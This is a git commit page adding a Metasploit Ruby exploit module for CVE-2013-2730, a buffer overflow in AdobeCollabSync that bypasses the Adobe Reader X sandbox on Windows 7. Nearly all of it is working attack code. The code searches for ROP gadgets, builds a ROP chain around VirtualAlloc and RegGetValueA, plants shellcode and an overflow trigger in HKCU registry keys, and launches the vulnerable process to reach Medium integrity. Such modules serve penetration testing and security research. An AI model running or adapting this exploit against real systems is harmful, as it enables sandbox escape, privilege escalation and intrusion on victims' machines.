Add module for CVE-2013-2730
jvazquez-r7
parent
993a7335b9
commit
85ceaa1a62
|
|
@ -0,0 +1,364 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability on Adobe Reader X Sandbox. The
|
||||
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
|
||||
process to write register values which can be used to trigger a buffer overflow on
|
||||
the AdobeCollabSync component, allowing to achieve Medium Integrity Level
|
||||
privileges from a Low Integrity AcroRd32.exe process. This module has been tested
|
||||
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Felipe Andres Manzano', # Vulnerability discovery and PoC
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2730' ],
|
||||
[ 'OSVDB', '93355' ],
|
||||
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => 'meterpreter',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 12288,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Adobe Reader X 10.1.4 / Windows 7 SP1',
|
||||
{
|
||||
'AdobeCollabSyncTrigger' => 0x18fa0,
|
||||
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate'=> 'May 14 2013'
|
||||
}))
|
||||
|
||||
end
|
||||
|
||||
def on_new_session
|
||||
print_status("Deleting Malicious Registry Keys...")
|
||||
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
|
||||
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
|
||||
end
|
||||
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
|
||||
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
|
||||
end
|
||||
print_status("Cleanup finished")
|
||||
end
|
||||
|
||||
# Test the process integrity level by trying to create a directory on the TEMP folder
|
||||
# Access should be granted with Medium Integrity Level
|
||||
# Access should be denied with Low Integrity Level
|
||||
# Usint this solution atm because I'm experiencing problems with railgun when trying
|
||||
# use GetTokenInformation
|
||||
def low_integrity_level?
|
||||
tmp_dir = expand_path("%TEMP%")
|
||||
cd(tmp_dir)
|
||||
new_dir = "#{rand_text_alpha(5)}"
|
||||
begin
|
||||
session.shell_command_token("mkdir #{new_dir}")
|
||||
rescue
|
||||
return true
|
||||
end
|
||||
|
||||
if directory?(new_dir)
|
||||
session.shell_command_token("rmdir #{new_dir}")
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def check_trigger
|
||||
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
|
||||
if signature == target['AdobeCollabSyncTriggerSignature']
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def collect_addresses
|
||||
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
|
||||
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
|
||||
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")
|
||||
|
||||
# find kernel32.dll
|
||||
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
|
||||
@addresses['kernel32.dll'] = kernel32["return"]
|
||||
if @addresses['kernel32.dll'] == 0
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")
|
||||
end
|
||||
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")
|
||||
|
||||
# find kernel32.dll methods
|
||||
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
|
||||
@addresses['VirtualAlloc'] = virtual_alloc["return"]
|
||||
if @addresses['VirtualAlloc'] == 0
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")
|
||||
end
|
||||
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")
|
||||
|
||||
reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
|
||||
@addresses['RegGetValueA'] = reg_get_value["return"]
|
||||
if @addresses['RegGetValueA'] == 0
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")
|
||||
end
|
||||
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")
|
||||
|
||||
# find ntdll.dll
|
||||
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
|
||||
@addresses['ntdll.dll'] = ntdll["return"]
|
||||
if @addresses['ntdll.dll'] == 0
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")
|
||||
end
|
||||
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
|
||||
end
|
||||
|
||||
# Search a gadget identified by pattern on the process memory
|
||||
def search_gadget(base, offset_start, offset_end, pattern)
|
||||
mem = base + offset_start
|
||||
length = offset_end - offset_start
|
||||
mem_contents = session.railgun.memread(mem, length)
|
||||
return mem_contents.index(pattern)
|
||||
end
|
||||
|
||||
# Search for gadgets on ntdll.dll
|
||||
def search_gadgets
|
||||
ntdll_text_base = 0x10000
|
||||
search_length = 0xd6000
|
||||
|
||||
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
|
||||
if @gadgets['mov [edi], ecx # ret'].nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
|
||||
end
|
||||
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
|
||||
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base
|
||||
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")
|
||||
|
||||
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
|
||||
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")
|
||||
|
||||
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
|
||||
if @gadgets['pop edi # ret'].nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
|
||||
end
|
||||
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']
|
||||
@gadgets['pop edi # ret'] += ntdll_text_base
|
||||
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")
|
||||
|
||||
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
|
||||
if @gadgets['pop ecx # ret'].nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
|
||||
end
|
||||
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
|
||||
@gadgets['pop ecx # ret'] += ntdll_text_base
|
||||
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
|
||||
end
|
||||
|
||||
def create_rop_chain
|
||||
mem = 0x0c0c0c0c
|
||||
|
||||
buf = [0x58000000 + 1].pack("V")
|
||||
buf << [0x58000000 + 2].pack("V")
|
||||
buf << [0].pack("V")
|
||||
buf << [0x58000000 + 4].pack("V")
|
||||
|
||||
buf << [0x58000000 + 5].pack("V")
|
||||
buf << [0x58000000 + 6].pack("V")
|
||||
buf << [0x58000000 + 7].pack("V")
|
||||
buf << [@gadgets['ret']].pack("V")
|
||||
buf << rand_text(8)
|
||||
|
||||
# Allocate Memory To store the shellcode and the necessary data to read the
|
||||
# shellcode stored in the registry
|
||||
buf << [@addresses['VirtualAlloc']].pack("V")
|
||||
buf << [@gadgets['ret']].pack("V")
|
||||
buf << [mem].pack("V") # lpAddress
|
||||
buf << [0x00010000].pack("V") # SIZE_T dwSize
|
||||
buf << [0x00003000].pack("V") # DWORD flAllocationType
|
||||
buf << [0x00000040].pack("V") # flProtect
|
||||
|
||||
# Put in the allocated memory the necessary data in order to read the
|
||||
# shellcode stored in the registry
|
||||
# The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
|
||||
# The reg entry: shellcode
|
||||
# The output buffer size: 0x3000
|
||||
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
|
||||
j = 0
|
||||
while (j < reg_key.length)
|
||||
buf << [@gadgets['pop edi # ret']].pack("V")
|
||||
buf << [mem + j].pack("V") # edi
|
||||
buf << [@gadgets['pop ecx # ret']].pack("V")
|
||||
buf << reg_key[j, 4].ljust(4,"\x00") # ecx
|
||||
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
|
||||
j = j + 4
|
||||
end
|
||||
k = j
|
||||
value_key = "shellcode\x00"
|
||||
j = 0
|
||||
while (j < value_key.length)
|
||||
buf << [@gadgets['pop edi # ret']].pack("V")
|
||||
buf << [mem + k + j].pack("V") # edi
|
||||
buf << [@gadgets['pop ecx # ret']].pack("V")
|
||||
buf << value_key[j, 4].ljust(4,"\x00") # ecx
|
||||
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
|
||||
j = j + 4
|
||||
end
|
||||
|
||||
size_buffer = 0x3000
|
||||
buf << [@gadgets['pop edi # ret']].pack("V")
|
||||
buf << [mem + 0x50].pack("V") # edi
|
||||
buf << [@gadgets['pop ecx # ret']].pack("V")
|
||||
buf << [size_buffer].pack("V") # ecx
|
||||
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
|
||||
|
||||
# Copy the shellcode from the the registry to the
|
||||
# memory allocated with executable permissions and
|
||||
# ret into there
|
||||
buf << [@addresses['RegGetValueA']].pack("V")
|
||||
buf << [mem + 0x1000].pack("V") # ret to shellcode
|
||||
buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER
|
||||
buf << [mem].pack("V") # lpSubKey
|
||||
buf << [mem + 0x3c].pack("V") # lpValue
|
||||
buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY
|
||||
buf << [0].pack("V") # pdwType
|
||||
buf << [mem + 0x1000].pack("V") # pvData
|
||||
buf << [mem + 0x50].pack("V") # pcbData
|
||||
end
|
||||
|
||||
# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
|
||||
def store_data_registry(buf)
|
||||
vprint_status("Creating the Registry Key to store the shellcode...")
|
||||
|
||||
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
|
||||
vprint_good("Registry Key created")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
|
||||
end
|
||||
|
||||
vprint_status("Storing the shellcode in the Registry...")
|
||||
|
||||
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
|
||||
vprint_good("Shellcode stored")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")
|
||||
end
|
||||
|
||||
# Create the Malicious registry entry in order to exploit....
|
||||
vprint_status("Creating the Registry Key to trigger the Overflow...")
|
||||
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
|
||||
vprint_good("Registry Key created")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
|
||||
end
|
||||
|
||||
vprint_status("Storing the trigger in the Registry...")
|
||||
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
|
||||
vprint_good("Trigger stored")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_overflow
|
||||
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")
|
||||
# Create a thread in order to execute the necessary code to launch AdobeCollabSync
|
||||
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)
|
||||
if ret['return'] < 1
|
||||
print_error("Unable to CreateThread")
|
||||
return
|
||||
end
|
||||
hthread = ret['return']
|
||||
|
||||
vprint_status("Resuming the Thread...")
|
||||
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!
|
||||
ret = client.railgun.kernel32.ResumeThread(hthread)
|
||||
if ret['return'] < 1
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread")
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
@addresses = {}
|
||||
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
|
||||
@addresses['AcroRd32.exe'] = acrord32["return"]
|
||||
if @addresses['AcroRd32.exe'] == 0
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
elsif check_trigger
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
@addresses = {}
|
||||
@gadgets = {}
|
||||
|
||||
print_status("Verifying we're in the correct target process...")
|
||||
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
|
||||
@addresses['AcroRd32.exe'] = acrord32["return"]
|
||||
if @addresses['AcroRd32.exe'] == 0
|
||||
fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found")
|
||||
end
|
||||
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")
|
||||
|
||||
print_status("Checking the AcroRd32.exe image...")
|
||||
if not check_trigger
|
||||
fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")
|
||||
end
|
||||
|
||||
print_status("Checking the Process Integrity Level...")
|
||||
if not low_integrity_level?
|
||||
fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")
|
||||
end
|
||||
|
||||
print_status("Collecting necessary addresses for exploit...")
|
||||
collect_addresses
|
||||
|
||||
print_status("Searching the gadgets needed to build the ROP chain...")
|
||||
search_gadgets
|
||||
print_good("Gadgets collected...")
|
||||
|
||||
print_status("Building the ROP chain...")
|
||||
buf = create_rop_chain
|
||||
print_good("ROP chain ready...")
|
||||
|
||||
print_status("Storing the shellcode and the trigger in the Registry...")
|
||||
store_data_registry(buf)
|
||||
|
||||
print_status("Executing AdobeCollabSync.exe...")
|
||||
trigger_overflow
|
||||
end
|
||||
end
|
||||
|
||||
Loading…
Reference in New Issue